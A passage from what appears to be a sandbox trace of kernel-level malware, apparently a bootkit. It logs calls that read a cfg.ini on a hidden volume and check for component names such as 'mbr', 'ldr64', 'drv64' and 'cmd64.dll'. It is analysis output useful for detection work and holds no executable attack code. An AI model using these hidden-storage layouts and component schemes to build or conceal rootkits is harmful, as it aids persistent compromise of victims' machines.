Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.675] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.675] IdePortDispatch () returned 0x103 [0127.675] KeWaitForMutexObject () returned 0x0 [0127.675] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.675] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.675] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.675] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.675] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.675] IdePortDispatch () returned 0x103 [0127.675] KeWaitForMutexObject () returned 0x0 [0127.675] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.675] KeLeaveCriticalRegion () [0127.675] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.676] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.676] KeEnterCriticalRegion () [0127.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.676] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.676] KeLeaveCriticalRegion () [0127.676] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.676] KeEnterCriticalRegion () [0127.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.676] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.676] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bfcbc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.676] KeLeaveCriticalRegion () [0127.676] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.676] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.676] KeEnterCriticalRegion () [0127.676] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.676] ExFreePoolWithTag (P=0xfffffa8003bfb2c0, Tag=0x0) [0127.676] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.676] KeLeaveCriticalRegion () [0127.676] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.676] ReleaseMutex (hMutex=0xf0) returned 1 [0127.676] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.676] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.676] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.677] KeEnterCriticalRegion () [0127.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.677] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.677] IdePortDispatch () returned 0x103 [0127.677] KeWaitForMutexObject () returned 0x0 [0127.677] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.677] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.677] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.677] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.677] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.677] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfb910 [0127.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.677] KeLeaveCriticalRegion () [0127.677] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.677] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.677] KeEnterCriticalRegion () [0127.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.677] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.677] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.677] KeLeaveCriticalRegion () [0127.677] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.677] KeEnterCriticalRegion () [0127.677] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.677] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.677] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.677] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.677] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.677] IdePortDispatch () returned 0x103 [0127.677] KeWaitForMutexObject () returned 0x0 [0127.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.678] KeLeaveCriticalRegion () [0127.678] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.678] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.678] KeEnterCriticalRegion () [0127.678] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.678] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b84000 [0127.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.678] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.678] IdePortDispatch () returned 0x103 [0127.678] KeWaitForMutexObject () returned 0x0 [0127.678] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.678] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.678] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.678] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.678] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.678] IdePortDispatch () returned 0x103 [0127.678] KeWaitForMutexObject () returned 0x0 [0127.678] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.679] KeLeaveCriticalRegion () [0127.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.679] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.679] KeEnterCriticalRegion () [0127.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.679] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.679] KeLeaveCriticalRegion () [0127.679] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.679] KeEnterCriticalRegion () [0127.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.679] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.679] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80037e1f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.679] KeLeaveCriticalRegion () [0127.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.679] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.679] KeEnterCriticalRegion () [0127.679] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.679] ExFreePoolWithTag (P=0xfffffa8003bfb910, Tag=0x0) [0127.679] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.679] KeLeaveCriticalRegion () [0127.679] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.679] ReleaseMutex (hMutex=0xf0) returned 1 [0127.679] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.679] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0127.680] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.680] KeEnterCriticalRegion () [0127.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.680] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.680] IdePortDispatch () returned 0x103 [0127.680] KeWaitForMutexObject () returned 0x0 [0127.680] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.680] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.680] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.680] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0127.680] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0127.680] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bfcf60 [0127.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.680] KeLeaveCriticalRegion () [0127.680] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.680] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.680] KeEnterCriticalRegion () [0127.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.680] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.680] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.680] KeLeaveCriticalRegion () [0127.680] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.680] KeEnterCriticalRegion () [0127.680] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.680] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.680] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.680] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.680] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0127.680] IdePortDispatch () returned 0x103 [0127.680] KeWaitForMutexObject () returned 0x0 [0127.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.681] KeLeaveCriticalRegion () [0127.681] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.681] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.681] KeEnterCriticalRegion () [0127.681] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.681] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b85000 [0127.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.681] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.681] IdePortDispatch () returned 0x103 [0127.681] KeWaitForMutexObject () returned 0x0 [0127.681] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.681] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.681] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0127.681] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0127.681] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0127.681] IdePortDispatch () returned 0x103 [0127.681] KeWaitForMutexObject () returned 0x0 [0127.681] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.681] KeLeaveCriticalRegion () [0127.681] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.682] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.682] KeEnterCriticalRegion () [0127.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.682] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0127.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.682] KeLeaveCriticalRegion () [0127.682] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.682] KeEnterCriticalRegion () [0127.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.682] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0127.682] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7450, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0127.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.682] KeLeaveCriticalRegion () [0127.682] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.682] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.682] KeEnterCriticalRegion () [0127.682] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.682] ExFreePoolWithTag (P=0xfffffa8003bfcf60, Tag=0x0) [0127.682] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.682] KeLeaveCriticalRegion () [0127.682] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.682] ReleaseMutex (hMutex=0xf0) returned 1 [0127.682] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0127.682] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0127.682] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0127.682] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.683] KeEnterCriticalRegion () [0127.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.683] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.683] IdePortDispatch () returned 0x103 [0127.683] KeWaitForMutexObject () returned 0x0 [0127.683] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.683] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.683] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.683] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.683] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.683] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.683] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.683] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.683] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.683] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.683] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.683] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.683] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.683] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.683] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.683] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.683] KeLeaveCriticalRegion () [0127.683] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.683] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0127.683] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0127.683] KeEnterCriticalRegion () [0127.683] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.683] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.683] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.683] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.683] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.683] IdePortDispatch () returned 0x103 [0127.683] KeWaitForMutexObject () returned 0x0 [0127.684] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.684] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0127.684] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.684] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.684] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0127.684] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.684] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0127.684] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.684] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0127.684] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0127.684] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.684] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.684] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.684] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.684] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0127.684] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.684] KeLeaveCriticalRegion () [0127.684] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0127.684] ReleaseMutex (hMutex=0x100) returned 1 [0127.684] Sleep (dwMilliseconds=0x2bf20) [0127.691] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6f4d6e30, dwHighDateTime=0x1d24fa4)) [0127.691] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0127.691] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0127.692] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0127.692] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0127.692] KeEnterCriticalRegion () [0127.692] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0127.692] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0127.692] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0127.692] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0127.692] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0127.692] IdePortDispatch () returned 0x103 [0127.692] KeWaitForMutexObject () returned 0x0 [0127.692] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0127.692] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0127.692] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", 